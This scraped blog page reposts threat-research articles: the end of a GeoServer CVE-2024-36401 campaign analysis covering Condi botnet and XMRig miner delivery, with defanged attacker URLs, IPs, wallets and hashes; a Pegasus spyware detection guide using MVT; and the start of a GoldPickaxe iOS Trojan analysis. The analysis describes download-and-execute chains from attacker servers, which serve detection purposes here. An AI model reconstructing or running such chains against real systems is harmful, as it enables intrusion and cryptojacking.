The attacker first terminates several processes (mpsl, mipsel, bash.mpsl, mips, x86_64, x86), then downloads and executes multiple bot binaries for different CPU architectures (such as ARM, MIPS, PPC, X86, M68K, SH4, and MPSL) from a remote server, “hxxp://209[.]146[.]124[.]181:8030.” The binaries are fetched using wget, saved in the /tmp directory, made executable (chmod 777), and executed.

Figure 24: Attack packet

Figure 24: Attack packet

The following section uses “bot.arm7” as an example. The malware can be recognized by the specified string “condi.”

Figure 25: Significant string

Figure 25: Significant string

Executing the malware sends numerous DNS queries to “trcpay[.]xyz.”

Figure 26: Continually connecting to the C2 server

Figure 26: Continually connecting to the C2 server

The Condi botnet first tries to resolve the C2 server address and its function. It then establishes a connection with the C2 server and waits to parse the command. The malware has numerous DDoS attack methods, such as TCP flooding, UDP flooding, and a VSE DDoS attack.

In tracing the connection back to the remote server, “hxxp://209[.]146[.]124[.]181:8030,” we found that it was built as an HFS (HTTP File Server) and that two malicious tools—“Linux2.4” (another botnet) and “taskhost.exe” (the agent tool)—are located in the server.

The botnet “Linux2.4” not only has different methods that can trigger a DDoS attack but can also act as a backdoor agent. The tool first connects to a server, which is the same as the remote server “209[.]146[.]124[.]181.” It then gathers the host information. Later, it waits for the command to either conduct a remote command execution or trigger a DDoS attack.

Figure 27: DDoS attack methods

Figure 27: DDoS attack methods

The Backdoor malware “taskhost.exe” is designed especially for Windows. It creates a service named “9jzf5” for persistence and then creates different process types to retrieve information from attackers lurking in the host.

Figure 28: Creating a service with the name “9jzf5”Figure 28: Creating a service with the name “9jzf5”

Figure 29: Command execution

Figure 29: Command execution

CoinMiner

We found four types of incident coin miners that can be delivered to victim hosts, as shown in the following details.

[1]

Figure 30: Attack packet

Figure 30: Attack packet

The attacker downloads a script from a remote URL “hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860[.]txt/test.sh” and saves it as script.sh in the temp folder. The payload within the incident packets then modifies and executes the script to achieve various purposes.

Figure 31: Script file “test.sh”

Figure 31: Script file “test.sh”

The script first gathers host information, such as the location of Aegis, the distribution version of Linux. Afterward, it attempts to uninstall different cloud platforms, like Tencent Cloud, Oracle, Kingsoft Cloud, JD Cloud, and Ali Cloud, to evade monitoring agents from those cloud services. A noteworthy point is that the comments in the script are written in simplified Chinese, indicating that the miner campaign/author may be affiliated with a Chinese group. While finishing these uninstalls, the script kills some security defense mechanisms processes and checks whether the current user has the root privilege needed to uninstall those mechanisms. If everything executes successfully, the script downloads the coin miner and creates another script for persistence.

Figure 32: Download and persistence within “test.sh”

Figure 32: Download and persistence within “test.sh”

The coin miner, named “sshd,” wrote the configuration within itself. The miner points to two target pools: “sdfasdfsf[.]9527527[.]xyz:3333” and “gsdasdfadfs[.]9527527[.]xyz:3333.”

Figure 33: Coin miner configuration

Figure 33: Coin miner configuration

[2]

Figure 34: Attack packet

Figure 34: Attack packet

Another type of coin miner attack begins with the Base64-encoded command. It intends to download “linux.sh” from “hxxp://repositorylinux.com.” The comment in “linux.sh” is written in Sundanese, an Indonesian language.

Figure 35: Script file “linux.sh”

Figure 35: Script file “linux.sh”

The script downloads two files: a coin miner named “linuxsys“ and a related configuration file named “config.json.” It downloads these through an AWS (Amazon Web Service) cloud platform service the attacker holds.

Figure 36: Config file “config.json”

Figure 36: Config file “config.json”

The coin miner sets the pool URL “pool[.]supportxmr[.]com:80” with credentials using “config.json.” The miner itself is XMRig, which can be recognized through its data.

Figure 37: Coin miner “linuxsys”

Figure 37: Coin miner “linuxsys”

[3]

Figure 38: Attack packet

Figure 38: Attack packet

The action sent via four packets is to download “/tmp/MmkfszDi” from the remote server “hxxp://95[.]85[.]93[.]196:80/asdfakjg.sh,” make it executable, and then run it. The script downloads a coin miner like the others mentioned before. It also removes a list of files within “/tmp,” “/var,” “/usr,” and “/opt.”

Figure 39: Script file “asdfakjg.sh”

Figure 39: Script file “asdfakjg.sh”

The coin miner named “h4” is similar to the other two types mentioned. It is XMRig as well and embeds its configuration within the binary file. The miner sets the pool URL as “asdfghjk[.]youdontcare[.]com:81”

Figure 40: Configuration data embedded in “h4”

Figure 40: Configuration data embedded in “h4”

[4]

Figure 41: Attack packet

Figure 41: Attack packet

The last type of coin miner incident command is also encoded with base64. It downloads “cron.sh” from “112[.]133[.]194[.]254.” This fraudulent site mimics the webpage of the Institute of Chartered Accountants of India (ICAI). The site is currently removed.

Figure 42: Fraudulent site

Figure 42: Fraudulent site

“cron.sh” uses the job scheduler on the Unix-like operating system “cron,” as its name indicates. The script schedules jobs for things like downloading coin miner-related scripts and setting the scripts into “crontab.” It first downloads the script named “check.sh” from the same source IP “112[.]133[.]194[.]254” and executes the script.

Figure 43: Script file “cron.sh”

Figure 43: Script file “cron.sh”

“check.sh” first creates the necessary directories and confirms that the victim host hasn’t been infected. Once the script finds that the victim host is the first to be infected, it downloads “config.sh” from the attacker’s IP “112[.]133[.]194[.]254” and the XMRig coin miner from the developer platform “Github.”

Figure 44: Script file “check.sh”

Figure 44: Script file “check.sh”

Through “config.sh,” we learned that the attacker set the pool on SupportXMR “pool[.]supportxmr[.]com:3333”

Figure 45: Script File “config.sh”

Figure 45: Script File “config.sh”

Conclusion

While GeoServer’s open-source nature offers flexibility and customization, it also necessitates vigilant security practices to address its vulnerabilities. The developer patched the vulnerability with the function “JXPathUtils.newSafeContext” instead of the original vulnerable one to evaluate the XPath expression safety. However, implementing comprehensive cybersecurity measures—such as regularly updating software, employing threat detection tools, and enforcing strict access controls—can significantly mitigate these risks. By proactively addressing these threats, organizations can secure their environments and ensure the protection and reliability of these data infrastructures.

Fortinet Protection

The malware described in this report is detected and blocked by FortiGuard Antivirus as:

Adware/Miner
BASH/Agent.CPC!tr
BASH/Miner.VZ!tr
Data/Miner.2F82!tr
Data/Miner.3792!tr
ELF/Agent.CPN!tr
ELF/Agent.CPN.TR
ELF/BitCoinMiner.HF!tr
ELF/Flooder.B!tr
Linux/CoinMiner.ACZ!tr
Linux/Mirai.CEA!tr
Linux/Mirai.CJS!tr
Linux/Mirai.IZ1H9!tr
Linux/SideWalk.Q!tr
Riskware/CoinMiner
W32/ServStart.IO!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.

The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.

FortiGuard Labs provides IPS signatures against attacks exploiting the following vulnerability:

CVE-2024-36401: GeoServer.OGC.Eval.Remote.Code.Execution

We also suggest that organizations go through Fortinet’s free training module: Fortinet Certified Fundamentals (FCF) in Cybersecurity. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IoC

URL

hxxp://181[.]214[.]58[.]14:61231/remote.sh
hxxp://1[.]download765[.]online/d
hxxp://188[.]214[.]27[.]50:4782/sky
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm5
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm6
hxxp://209[.]146[.]124[.]181:8030/bot[.]arm7
hxxp://209[.]146[.]124[.]181:8030/bot[.]m68k
hxxp://209[.]146[.]124[.]181:8030/bot[.]mips
hxxp://209[.]146[.]124[.]181:8030/bot[.]mpsl
hxxp://209[.]146[.]124[.]181:8030/bot[.]ppc
hxxp://209[.]146[.]124[.]181:8030/bot[.]sh4
hxxp://209[.]146[.]124[.]181:8030/bot[.]x86
hxxp://209[.]146[.]124[.]181:8030/bot[.]x86_64
hxxp://209[.]146[.]124[.]181:8030/JrLinux
hxxp://209[.]146[.]124[.]181:8030/Linux2[.]4
hxxp://209[.]146[.]124[.]181:8030/Linux2[.]6
hxxp://209[.]146[.]124[.]181:8030/taskhost[.]exe
hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860.txt/test.sh
hxxp://oss[.]17ww[.]vip/21929e87-85ff-4e98-a837-ae0079c9c860.txt/sshd
hxxp://ec2-54-191-168-81[.]us-west-2.compute.amazonaws.com/css/linuxsys
hxxp://ec2-54-191-168-81[.]us-west-2.compute.amazonaws.com/css/config.json
hxxp://ec2-13-250-11-113[.]ap-southeast-1.compute.amazonaws.com/css/linuxsys
hxxp://ec2-13-250-11-113[.]ap-southeast-1.compute.amazonaws.com/css/config.json
hxxp://95[.]85[.]93[.]196:80/h4
hxxp://112[.]133[.]194[.]254/cron.sh
hxxp://112[.]133[.]194[.]254/check.sh
hxxp://112[.]133[.]194[.]254/config.sh

IP Address/Hostname

181[.]214[.]58[.]14:18201
47[.]253[.]46[.]11
secure[.]systemupdatecdn[.]de
188[.]214[.]27[.]50
bots[.]gxz[.]me
209[.]146[.]124[.]181
sdfasdfsf[.]9527527[.]xyz:3333
gsdasdfadfs[.]9527527[.]xyz:3333
pool[.]supportxmr[.]com:80
95[.]85[.]93[.]196:4443
pool[.]supportxmr[.]com:3333
59[.]59[.]59[.]59

Wallet

49VQVgmN9vYccj2tEgD7qgJPbLiGQcQ4uJxTRkTJUCZXRruR7HFD7keebLdYj6Bf5xZKhFKFANFxZhj3BCmRT9pe4NG325b+50000
41qqpRxT7ocGsbZPeU9JcbfRiHLy3j8DWhdKzv8Yr2VS1QPcFLmfHVJFWEBDfWaB3N6HxuVuAb73nES36bN2rhevGnZ12nA

SHA256Hash

b80e9466b7bb42959c29546b8c052e67fcaa0f591857617457d5d28348bd8860
d9e8b390f8e2e8a6c2308c723a6a812f59c055ecad4e9098a120e5c4c65d3905
79c9532fb6ef2742e207498bfe2b2ee09aa9773376ac0e56085083aab17b98be
5cc7e35254347f705422800bfb7fe29c6002e2537f6bac0ff996a720dfb5f48e
fabbb4611fb9df5d8f208d9353be0b73c3942fe78903da096cbfe2f47c9e3566
1588bee7db42495ba7e6e34d217e6b82c5ab93f27c1eea68435cbb9e7792f9be
e8b0f5a952f07c83c4d67809ac0715c7164d518323d8038542e84aab8456db43
3c73ebc7a85accc65c9ee5bf151f70b990e5a12f27a843ca21c0f9d9a10fd17d
9bf642a7e14f0a0b0a784f00a0d1cf590ac60ae5ae378d29d435519f4d9dbf2b
994b924b00fb56e12a6a987c4cdf65dd05a221c47b5fc0a7a2babf1f05c2ed38
c226744b40e8f5d2cf95b4fb2537ff00e222ecc2d24c5096ecfadb14b4a47f97
96cf27a66b629d2b19708c6887441a8422b40dc0e9e7c5c0f2212efe0b6b3323
b3a015b6650ec9800fa878ff9a5f732013806c8dcb0e7069515dae0dd380fda4
50b7e615b8cdc45486b6ed1c1c081c7a92c262edb84318fa864531dcab753f82
f7b97677b6387c1f02d429e98868bf6973a8dec14dfee2516a27e885d6b1c780
b60d7fb66caf103a04e81fb89dbb05111b4b0ef513f3769c8e0a8106ab01a075
a9e7b5284182d3881c865895ee6e0fb03273eec3dcbf4bfc82dd2b069245beae
c3101b0b74d76a95ba91b6cc4945657e928d2dac8fdf926ffbf09031d46e9186
b67ab1b9b66fdc2c4ed1689698a54a347c2bdd6eaff87039ae337675243670d8
83fb74bb852bbd722e6ebc4e249e49cb4bb4194493a26d62d4bfcdfca2998412
53994a35a57970dea48e97009f65ad045b69a83234b771b106446211376a6866
f3d3572ef96c9c59e137425ca6804e1b86b7f8b57210a3724d567017460774de
1af8e068aa7377f0055640af581a412aa9d7288c912a93dd0d739657af0079fb
1abd8cbd64d1d9c8d56b7ea6273ed62e1471f300fabc67dbc2416a48e2faf33d
addccd0ecb643251af2e79e878b19a8e9c8f1c87302e732ef057cdba821f4b30
d9dfe98b5fba09e17dbe29dfeb8deb7d777d4a3b0d670914691ed360b916116a
d9dfe98b5fba09e17dbe29dfeb8deb7d777d4a3b0d670914691ed360b916116a
8d3440301bc94ed83cdafb69e4b0166d3a0020eb4f38e9fa159c2f13f14b2d29
a13a979f4ca57450528bb6cd7aa2bf47d2eea211053eb1a14b8c4a44fd661831
7194ec436231c2a383ffc7c75eef4f5b5a952c18fa176ffd0830667835a80533
20d97f144bf7b1662a13ac537715126b9b2f68eff46a4a09234743ae236f0177
d72e4cabffc84a31e50caf827b6e579cf6e4932e5cbc528a65a68728ba56b65b
5abf8a52d45f6d5970fab8d1dfd05b6ee7b0ef57df935f45761b89d3522fa592
24e80d66759b1c7a075aeb4fe0321eb6ac49eaf509089fd2882874ec6228d085
7355cc094f2e43e4dd7b8b698b559abe6d2d74cc48f5cfa464424314c6e41944
689504850db842365cd47eadd2d3d42888b9261e7d9e884f14bb7deeb21bb61d
762707f2c7fc4731c4c46ecb3364a4e7ace8984aa899cc57c624b342d3efa03f
4234eb5eb42fbe44d7163c4388d263b3fe57fb1e56bf56152ac352c3fd0beec0
373734730d8414d32883ebbd105c7a7c58397df995759c4e0bd367f2523d302d
d1d25730122f8bc125251832c6af03aedd705dfcc2d9eebcce4371c54bb84b39
3dce929b1c091abac3342788624f1ffa4be5d603eec4d7ab39b604694ac05d22
eb2f95bb2059a3690259f2c0d7537b3cad858869650b9c220d2d81e3720b6dde
2e0e324e36fafe71f5d2bcf521e6415dafbc3f1173ad77f1f3daa77bb581da5f
5d9eb83b4a6f2d49580e1658263eb972be336a2cad15a84561d17d59391191b0
75d7b6264f5a574bc75400c9d57282e9344d8b2df576ad2a36ab7e2575d5a395
e5e5122ba6d0b06f7ed8e57ab5324ae730970c0d23913f27b9ecc9094182c03d
275302d03a4378f1b852e6d783d3181c2899ae0e9ebad4c7160221320863c425
653a4ad0b00e59a01142f899b6aac9712cfb25063b5b9b2e7e3171f7f3a897ed
8fad39ec0671d9b401712ddbc1f24942b2ee2f4865b6ffcd2f019036e03cbade
c8b76b63644d2946fd0af72b48fa59f07a78e1f84464cff5e9b1ca4110e6113e
3928c5874249cc71b2d88e5c0c00989ac394238747bb7638897fc210531b4aab
7d052cffcf97b303d11c5d35fa9bc860155601cdea21e38447401571b35d2db1
c81d4770e812ddc883ead8ff41fd2e5a7d5bc8056521219ccf8784219d1bd819
bf56711bbe0b1dac3b1481d36e7ae2f312da5f404c554c2c45a01fe591b8464d
5c9722d3dc72dbeafec00256887867bad46d347a5fc797d57fc9e0fd317035d3
3369ddc627282eb38346e1a56118026dd3ccdb29b18ffff88ecf3663296ee6da

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

In-depth analysis of Pegasus spyware and how to detect it on your iOS device

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

How does Pegasus and other spyware work discreetly to access everything on your iOS device?
Introduction

In today’s digital age, mobile phones and devices have evolved from being exclusive to a few to becoming an absolute need for everyone, aiding us in both personal and professional pursuits. However, these devices, often considered personal, can compromise our privacy when accessed by nefarious cybercriminals.

Malicious mobile software has time and again been wielded as a sneaky weapon to compromise the sensitive information of targeted individuals. Cybercriminals build complex applications capable of operating on victims’ devices unbeknownst to them, concealing the threat and the intentions behind it. Despite the common belief among iOS users that their devices offer complete security, shielding them from such attacks, recent developments, such as the emergence of Pegasus spyware, have shattered this pretense.

The first iOS exploitation by Pegasus spyware was recorded in August 2016, facilitated through spear-phishing attempts—text messages or emails that trick a target into clicking on a malicious link.

What is Pegasus spyware?

Developed by the Israeli company NSO Group, Pegasus spyware is malicious software designed to gather sensitive information from devices and users illicitly. Initially licensed by governments for targeted cyber espionage purposes, it is a sophisticated tool for remotely placing spyware on targeted devices to pry into and reveal information. Its ‘zero-click’ capability makes it particularly dangerous as it can infiltrate devices without any action required from the user.

Pegasus can gather a wide range of sensitive information from infected devices, including messages, audio logs, GPS location, device information, and more. It can also remotely activate the device’s camera and microphone, essentially turning the device into a powerful tool for illegal surveillance.

Over time, NSO Group has become more creative in its methods of unwarranted intrusions into devices.  The company, which was founded in 2010, claims itself to be a “leader” in mobile and cellular cyber warfare.

Pegasus is also capable of accessing data from both iOS and Android-powered devices. The fact that it can be deployed through convenient gateways such as SMS, WhatsApp, or iMessage makes it an effortless tool to trick users into installing the spyware without their knowledge. This poses a significant threat to the privacy and security of individuals and organizations targeted by such attacks.

How does Pegasus spyware work?

Pegasus is extremely efficient due to its strategic development to use zero-day vulnerabilities, code obfuscation, and encryption. NSO Group provides two methods for remotely installing spyware on a target’s device: a zero-click method and a one-click method. The one-click method includes sending the target a regular SMS text message containing a link to a malicious website. This website then exploits vulnerabilities in the target’s web browser, along with any additional exploits needed to implant the spyware.

Zero-click attacks do not require any action from device users to establish an unauthorized connection, as they exploit ‘zero-day’ vulnerabilities to gain entry into the system. Once the spyware is installed, Pegasus actively captures the intended data about the device. After installation, Pegasus needs to be constantly upgraded and managed to adapt to device settings and configurations. Additionally, it may be programmed to uninstall itself or self-destruct if exposed or if it no longer provides valuable information to the threat actor.

Now that we’ve studied what Pegasus is and the privacy concerns it raises for users, this blog will further focus on discussing precautionary and investigation measures. The suggested methodology can be leveraged to detect not just Pegasus spyware but also Operation Triangulation, Predator spyware, and more.

Let’s explore how to check iOS or iPadOS devices for signs of compromise when only an iTunes backup is available and obtaining a full file system dump isn’t a viable option.

In recent years, targeted attacks against iOS devices have made headlines regularly. Although the infections are not widespread and they hardly affect more than 100 devices per wave, such attacks still pose serious risks to Apple users. The risks have appeared as a result of iOS becoming an increasingly complex and open system, over the years, to enhance user experience. A good example of this is the flawed design of the iMessage application, which wasn’t protected through the operating system’s sandbox mechanisms. 

Apple failed to patch this flaw with a security feature called BlastDoorin iOS 14, instead implementing a Lockdown Mode mechanism that, for now, cybercriminals have not been able to bypass. Learn more about Lockdown Mode here.

While BlastDoor provides a flexible solution through sandbox analysis, Lockdown Mode imposes limitations on iMessage functionality. Nonetheless, the vulnerabilities associated with ImageIO may prompt users to consider disabling iMessage permanently. Another major problem is that there are no mechanisms to examine an infected iOS device directly. Researchers have three options:

  1. Put the device in a safe and wait until an exploit is developed that can extract the full file system dump
  2. Analyze the device’s network traffic (with certain limitations as not all viruses can transmit data via Wi-Fi)
  3. Explore a backup copy of an iOS device, despite data extraction limitations

The backup copy must be taken only with encryption (password protection) as data sets in encrypted and unencrypted copies differ. Here, our analysts focus on the third approach, as it is a pragmatic way to safely examine potential infections without directly interacting with the compromised device. This approach allows researchers to analyze the device’s data in a controlled environment, avoiding any risk of further compromising the device and losing valuable evidence that forms the ground for crucial investigation and analysis.

To conduct research effectively, the users will need either a Mac or Linux device. Linux virtual machines can also be used, but it is recommended that users avoid using Windows Subsystem for Linux as it has issues with forwarding USB ports.

In the analysis performed by Group-IB experts, we use an open-source tool called Mobile Verification Toolkit (MVT), which is supported by a methodology report.

Let’s start with installing dependencies:

sudo apt install python3 python3-pip libusb-1.0-0 sqlite3

Next, install a set of tools for creating and working with iTunes backups:

sudo apt install libimobiledevice-utils

Lastly, install MVT:

git clone https://github.com/mvt-project/mvt.git
cd mvt
pip3 install

Now, let’s begin with the analysis. To create a backup, perform the following:

  1. Connect the iOS device and verify the pairing process by entering your passcode.
  2. Enter the following command:

ideviceinfo

Users will receive a substantial output with information about the connected device, such as the iOS version and model type:

ProductName: iPhone OS
ProductType: iPhone12.5
ProductVersion: 17.2.1

After that, users can set a password for the device backup:

idevicebackup2 -i encryption on

Enter the password for the backup copy and confirm it by entering your phone’s passcode.

As mentioned, the above step is crucial to ensure the integrity of the data extracted from the device.

Create the encrypted copy:

idevicebackup2 backup –full /path/to/backup/

This process may take a while depending on the amount of space available on your device. Users will also need to enter the passcode again.

Once the backup is complete (as indicated by the Backup Successful message), the users will need to decrypt it.

To do so, use MVT:

mvt-ios decrypt-backup -p [password] -d /path/to/decrypted /path/to/backup

After being through with the process, users may have successfully decrypted the backup.

Now, let’s check for known indicators. Download the most recent IoCs (Indicators of Compromise):

mvt-ios download-iocs

We can also track IoCs relating to other spyware attacks from several sources, such as:

“NSO Group Pegasus Indicators of Compromise”
“Predator Spyware Indicators of Compromise”
“RCS Lab Spyware Indicators of Compromise”
“Stalkerware Indicators of Compromise”
“Surveillance Campaign linked to mercenary spyware company”
“Quadream KingSpawn Indicators of Compromise”
“Operation Triangulation Indicators of Compromise”
“WyrmSpy and DragonEgg Indicators of Compromise”

  • Indicators from Amnesty International’s investigations
  • Index and collection of MVT compatibile indicators of compromise

The next step is to launch the scanning:

mvt-ios check-backup –output /path/to/output/ /path/to/decrypted/

The users will obtain the following set of JSON files for analysis.

If any infections are detected, the users will receive a *_detected.json file with detections.

Result of MVT IOCs scan with four detections

Image 1: Result of MVT IOCs scan with four detections

The detected results are saved in separate files with "_detected" ending

Image 2: The detected results are saved in separate files with “_detected” ending

If there are suspicions of spyware or malware without IOCs, but there are no detections, and a full file system dump isn’t feasible, users will need to work with the resources at hand. The most valuable files in the backup include:

Safari_history.json – check for any suspicious redirects and websites.

“id”: 5,
“url”: “http://yahoo.fr/”,
“visit_id”: 7,
“timestamp”: 726652004.790012,
“isodate”: “2024-01-11 07:46:44.790012”,
“redirect_source”: null,
“redirect_destination”: 8,
“safari_history_db”: “1a/1a0e7afc19d307da602ccdcece51af33afe92c53”

Datausage.json – check for suspicious processes.

“first_isodate”: “2023-11-21 15:39:34.001225”,
“isodate”: “2023-12-14 03:05:02.321592”,
“proc_name”: “mDNSResponder/com.apple.datausage.maps”,
“bundle_id”: “com.apple.datausage.maps”,
“proc_id”: 69,
“wifi_in”: 0.0,
“wifi_out”: 0.0,
“wwan_in”: 3381.0,
“wwan_out”: 8224.0,
“live_id”: 130,
“live_proc_id”: 69,
“live_isodate”: “2023-12-14 02:45:10.343919”

Os_analytics_ad_daily.json – check for suspicious processes.

“package”: “storekitd”,
“ts”: “2023-07-11 05:24:31.981691”,
“wifi_in”: 400771.0,
“wifi_out”: 52607.0,
“wwan_in”: 0.0,
“wwan_out”: 0.0

Keeping a backup copy of a control device is required to maintain a record of the current names of legitimate processes within a specific iOS version. This control device can be completely reset and reconfigured with the same iOS version. Although annual releases often introduce significant changes, new legitimate processes may still be added, even within a year, through major system updates.

Sms.json – check for links, the content of these links, and domain information.

        "ROWID": 97,
        "guid": "9CCE3479-D446-65BF-6D00-00FC30F105F1",
        "text": "",
        "replace": 0,
        "service_center": null,
        "handle_id": 1,
        "subject": null,
        "country": null,
        "attributedBody": "",
        "version": 10,
        "type": 0,
        "service": "SMS",
        "account": "P:+66********",
        "account_guid": "54EB51F8-A905-42D5-832E-D98E86E4F919",
        "error": 0,
        "date": 718245997147878016,
        "date_read": 720004865472528896,
        "date_delivered": 0,
        "is_delivered": 1,
        "is_finished": 1,
        "is_emote": 0,
        "is_from_me": 0,
        "is_empty": 0,
        "is_delayed": 0,
        "is_auto_reply": 0,
        "is_prepared": 0,
        "is_read": 1,
        "is_system_message": 0,
        "is_sent": 0,
        "has_dd_results": 1,
        "is_service_message": 0,
        "is_forward": 0,
        "was_downgraded": 0,
        "is_archive": 0,
        "cache_has_attachments": 0,
        "cache_roomnames": null,
        "was_data_detected": 1,
        "was_deduplicated": 0,
        "is_audio_message": 0,
        "is_played": 0,
        "date_played": 0,
        "item_type": 0,
        "other_handle": 0,
        "group_title": null,
        "group_action_type": 0,
        "share_status": 0,
        "share_direction": 0,
        "is_expirable": 0,
        "expire_state": 0,
        "message_action_type": 0,
        "message_source": 0,
        "associated_message_guid": null,
        "associated_message_type": 0,
        "balloon_bundle_id": null,
        "payload_data": null,
        "expressive_send_style_id": null,
        "associated_message_range_location": 0,
        "associated_message_range_length": 0,
        "time_expressive_send_played": 0,
        "message_summary_info": null,
        "ck_sync_state": 0,
        "ck_record_id": null,
        "ck_record_change_tag": null,
        "destination_caller_id": "+66926477437",
        "is_corrupt": 0,
        "reply_to_guid": "814A603F-4FEC-7442-0CBF-970C14217E1B",
        "sort_id": 0,
        "is_spam": 0,
        "has_unseen_mention": 0,
        "thread_originator_guid": null,
        "thread_originator_part": null,
        "syndication_ranges": null,
        "synced_syndication_ranges": null,
        "was_delivered_quietly": 0,
        "did_notify_recipient": 0,
        "date_retracted": 0,
        "date_edited": 0,
        "was_detonated": 0,
        "part_count": 1,
        "is_stewie": 0,
        "is_kt_verified": 0,
        "is_sos": 0,
        "is_critical": 0,
        "bia_reference_id": null,
        "fallback_hash": "s:mailto:ais|(null)(4)<7AD4E8732BAF100ABBAF4FAE21CBC3AE05487253AC4F373B7D1470FDED6CFE91>",
        "phone_number": "AIS",
        "isodate": "2023-10-06 00:46:37.000000",
        "isodate_read": "2023-10-26 09:21:05.000000",
        "direction": "received",
        "links": [
            "https://m.ais.co.th/J1Hpm91ix"
        ]
    },

Sms_attachments.json – check for suspicious attachments.

        "attachment_id": 4,
        "ROWID": 4,
        "guid": "97883E8C-99FA-40ED-8E78-36DAC89B2939",
        "created_date": 726724286,
        "start_date": "",
        "filename": "~/Library/SMS/Attachments/b8/08/97883E8C-99FA-40ED-8E78-36DAC89B2939/IMG_0005.HEIC",
        "uti": "public.heic",
        "mime_type": "image/heic",
        "transfer_state": 5,
        "is_outgoing": 1,
        "user_info": ",
        "transfer_name": "IMG_0005.HEIC",
        "total_bytes": 1614577,
        "is_sticker": 0,
        "sticker_user_info": null,
        "attribution_info": null,
        "hide_attachment": 0,
        "ck_sync_state": 0,
        "ck_server_change_token_blob": null,
        "ck_record_id": null,
        "original_guid": "97883E8C-99FA-40ED-8E78-36DAC89B2939",
        "is_commsafety_sensitive": 0,
        "service": "iMessage",
        "phone_number": "*",
        "isodate": "2024-01-12 03:51:26.000000",
        "direction": "sent",
        "has_user_info": true
    }

Webkit_session_resource_log.json andwebkit_resource_load_statistics.json – check for suspicious domains.

{
        "domain_id": 22,
        "registrable_domain": "sitecdn.com",
        "last_seen": 1704959295.0,
        "had_user_interaction": false,
        "last_seen_isodate": "2024-01-11 07:48:15.000000",
        "domain": "AppDomain-com.apple.mobilesafari",
        "path": "Library/WebKit/WebsiteData/ResourceLoadStatistics/observations.db"
    }

Tcc.json – check which applications have been granted which permissions.

        "service": "kTCCServiceMotion",
        "client": "com.apple.Health",
        "client_type": "bundle_id",
        "auth_value": "allowed",
        "auth_reason_desc": "system_set",
        "last_modified": "2023-07-11 06:25:15.000000"

To collect data about processes, users can use XCode Instruments.

Note: Developer mode must be enabled on the iOS device.Showcasing XCode instruments profile selection

Image 3: Showcasing XCode instruments profile selection

Process data collection:

Process list from iPhone

Image 4: Process list from iPhone

Overcoming the iOS interception challenge

For the common public

iOS security architecture typically prevents normal apps from performing unauthorized surveillance. However, a jailbroken device can bypass these security measures. Pegasus and other mobile malware may exploit remote jailbreak exploits to steer clear of detection by security mechanisms. This enables operators to install new software, extract data, and monitor and collect information from targeted devices.

Warning signs of an infection on the device include:

  • Slower device performance
  • Spontaneous reboots or shutdowns
  • Rapid battery drain
  • Appearance of previously uninstalled applications
  • Unexpected redirects to unfamiliar websites

This reinstates the critical importance of maintaining up-to-date devices and prioritizing mobile security. Recommendations for end-users include:

  • Avoid clicking on suspicious links
  • Review app permissions regularly
  • Enable Lockdown mode for protection against spyware attacks
  • Consider disabling iMessage and FaceTime for added security
  • Always install the updated version of the iOS

For businesses: Protect against Pegasus and other APT mobile malware

Securing mobile devices, applications, and APIs is crucial, particularly when they handle financial transactions and store sensitive data. Organizations operating in critical sectors, government, and other industries are prime targets for cyberattacks such as espionage and more, especially high-level employees.

Researching iOS devices presents challenges due to the closed nature of the system. Group-IB Threat Intelligence, however, helps organizations worldwide identify cyber threats in different environments, including iOS, with our recent discovery being GoldPickaxe.iOS – the first iOS Trojan harvesting facial scans and using them to potentially gain unauthorized access to bank accounts. Group-IB Threat Intelligence provides a constant feed on new and previously conducted cyber attacks, the tactics, techniques, and behaviors of threat actors, and susceptibility of attacks based on your organization’s risk profile— giving a clear picture of how your devices can be exploited by vectors, to initiate timely and effective defense mechanisms.

If you suspect your iOS or Android device has been compromised by Pegasus or similar spyware, turn to our experts for immediate support. To perform device analysis or set up additional security measures, organizations can also get in touch with Group-IB’s Digital Forensics team for assistance.

Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

GoldPickaxe exposed: How Group-IB analyzed the face-stealing iOS Trojan and how to do it yourself

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Introduction

In the recent Hi-Tech Crime Trends report, Group-IB experts highlighted a concerning shift in the focus of cybercriminals towards Apple devices. The shift is driven by the increasing popularity and adoption of Apple products in both consumer and corporate environments. As a result, the number of malicious programs targeting iOS and macOS devices has risen exponentially.

The App Store, once considered highly secure, is now at risk of frequent attempts to distribute malware. The increased use of iCloud and other Apple cloud services has made these platforms more appealing to cybercriminals. What’s more, Apple is now officially allowing third-party app stores to distribute iOS apps in Europe. The change is due to Apple being designated a “gatekeeper” under the EU’s Digital Markets Act (DMA). Threat actors are expected to capitalize on this development.

Cybercriminals have started modifying schemes traditionally aimed at Android to target iOS. Group-IB’s discovery of GoldPickaxe malware illustrates this trend. GoldPickaxe, the first iOS Trojan that harvests facial recognition data, is a modified version of the Android Trojan GoldDigger — but with new capabilities. In our detailed analysis, Group-IB experts dissected the new Trojan and found that cybercriminals had leveraged stolen data to impersonate real users and log into their bank accounts.

Hackers will likely continue to look for new ways of exploiting Apple devices, especially as smart technologies and IoT devices become used more widely. This increasing threat landscape shows how important it is to understand how to analyze iOS-related malware. In this article, we will guide you through the process of jailbreaking an iOS device for investigation purposes. By leveraging vulnerabilities such as Checkm8, cybersecurity experts can examine applications thoroughly and uncover potential threats. The goal of the guide is to equip readers with the tools and knowledge they need to investigate iOS devices, analyze any installed apps, and mitigate risks posed by iOS-related threats.

Dangers behind outdated Apple solutions: Checkm8 vulnerability

